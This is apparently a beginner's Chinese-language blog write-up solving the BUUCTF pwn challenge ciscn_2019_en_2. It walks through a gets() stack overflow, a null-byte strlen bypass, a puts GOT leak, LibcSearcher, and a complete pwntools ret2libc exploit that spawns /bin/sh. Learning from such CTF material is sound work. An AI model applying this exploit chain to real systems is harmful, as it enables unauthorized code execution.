题目地址:https://buuoj.cn/challenges#ciscn_2019_en_2
这道题本小白已经做了无数次了,但是每次都不是完全理解,这次回去又学了点基础的知识,算是最大彻大悟的一次了。
首先checksec,64位程序开了NX保护
[*] '/home/ssy/ctf/buuctf/ciscn_2019_en_2/cis'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
然后我拖入ida并且只会f5,发现这三个函数是最有用的,其中begin函数没啥卵用。
main函数是一个小程序的界面
encrypt函数是一个加密函数,我们输入的字符串会被加密
可以看到有一个非常明显的gets(s)用来栈溢出,但是这里有一个小问题,就是我们如果通过正常栈溢出的话,最后覆盖的地址会被加密,导致程序崩溃。strlen函数是一个很好的突破口。我自己做的时候很在乎v0的值,最近搞了搞汇编,gdb了一下,发现这步比较的是rbx和rax的值。其中rax是我们strlen函数的返回值也就是字符串长度,rbx下断点调试发现值为0,所以就是说我们要让strlen函数返回的值为0,那么就可以令第一个字符为'\x00',因为strlen函数遇到'\x00'就会返回,这样再构造payload就可以达到栈溢出的目的了。
RAX: 0x1
RBX: 0x0
RCX: 0x20 (' ')
RDX: 0x7fffffffde20 --> 0x61 ('a')
RSI: 0x7ffff7dcda83 --> 0xdcf8d0000000000a
RDI: 0x7fffffffde20 --> 0x61 ('a')
RBP: 0x7fffffffde70 --> 0x7fffffffde90 --> 0x400c20 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffde20 --> 0x61 ('a')
RIP: 0x400acb (<encrypt+299>: jb 0x4009e7 <encrypt+71>)
R8 : 0x7ffff7dcf8c0 --> 0x0
R9 : 0x7ffff7fe24c0 (0x00007ffff7fe24c0)
R10: 0x3
R11: 0x7ffff7b704d0 (<__strlen_avx2>: mov ecx,edi)
R12: 0x400790 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdf70 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400ac0 <encrypt+288>: mov rdi,rax
0x400ac3 <encrypt+291>: call 0x4006f0 <strlen@plt>
0x400ac8 <encrypt+296>: cmp rbx,rax
=> 0x400acb <encrypt+299>: jb 0x4009e7 <encrypt+71>
| 0x400ad1 <encrypt+305>: mov edi,0x400cd5
| 0x400ad6 <encrypt+310>: call 0x4006e0 <puts@plt>
| 0x400adb <encrypt+315>: lea rax,[rbp-0x50]
| 0x400adf <encrypt+319>: mov rdi,rax
|-> 0x4009e7 <encrypt+71>: mov eax,DWORD PTR [rip+0x2016bf] # 0x6020ac <x>
0x4009ed <encrypt+77>: mov eax,eax
0x4009ef <encrypt+79>: movzx eax,BYTE PTR [rbp+rax*1-0x50]
0x4009f4 <encrypt+84>: cmp al,0x60
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde20 --> 0x61 ('a')
0008| 0x7fffffffde28 --> 0x0
0016| 0x7fffffffde30 --> 0x0
0024| 0x7fffffffde38 --> 0x0
0032| 0x7fffffffde40 --> 0x0
0040| 0x7fffffffde48 --> 0x0
0048| 0x7fffffffde50 --> 0x7fffffff0000 --> 0x0
0056| 0x7fffffffde58 --> 0x400790 (<_start>: xor ebp,ebp)
[------------------------------------------------------------------------------]
到这里我就已经没有思路了,我不知道要跳到哪里。突然想起ret2libc的题目条件,我就想或许我可以试一试ret2libc,于是ida里shift+f12,发现没有binsh,在函数栏里也没有发现system函数,题目也没有给出libc版本,那么我们只能自己去找了。
接下来的目标很明确,puts函数那么多,所以我们可以泄露puts函数的got地址,并让程序返回main函数方便我们再次利用栈溢出漏洞,构造payload。由于是64位程序所以我们用ROPgadget来构造一个ROP链并通过寄存器传入参数。(rdi,rsi,rdx,rcx,r8,r9)
payload = '\x00'+'a'*(0x50-1)+'b'*0x8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
然后我们完美的打印出了一串地址,需要接收。这里有个小问题还在研究,就是接收方式。我最开始是这么写的,后面算是print(hex(puts_addr))
puts_addr = u64(r.recv(8)) #0x450a7f666d811aa0
第二次是这么写的,发现地址不一样,而且只有第二次最后可以cat flag(两次都是本地运行)
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0')) #0x7f3c6bedeaa0
接收后就是一套完整的LibcSearcher了
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
bin_sh = libc.dump('str_bin_sh')+libc_base
system = libc.dump('system')+libc_base
最后再通过栈溢出用rdi将参数binsh传给system,本题完成,wp如下:
from pwn import *
from LibcSearcher import *
r = process('./cis')
elf = ELF('./cis')
#r = remote('node4.buuoj.cn','27968')
main = 0x0000000000400B28
ret = 0x00000000004006b9
pop_rdi = 0x0000000000400c83
r.recvuntil('choice!\n')
r.sendline('1')
r.recvuntil('encrypted\n')
payload = '\x00'+'a'*(0x50-1)+'b'*0x8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])
payload+= p64(main)
r.sendline(payload)
r.recvline()
r.recvline()
#puts_addr = u64(r.recv(8))
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
bin_sh = libc.dump('str_bin_sh')+libc_base
system = libc.dump('system')+libc_base
r.sendline('1')
payload = '\x00'+'a'*(0x50-1)+'b'*0x8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.sendline(payload)
r.interactive()
最后还有一个栈对齐还在思考,蒟蒻自学pwn学的非常不细致,曾被大佬骂过指点,于是回炉重造去了。希望可以有师傅挑挑毛病指点一下QAQ。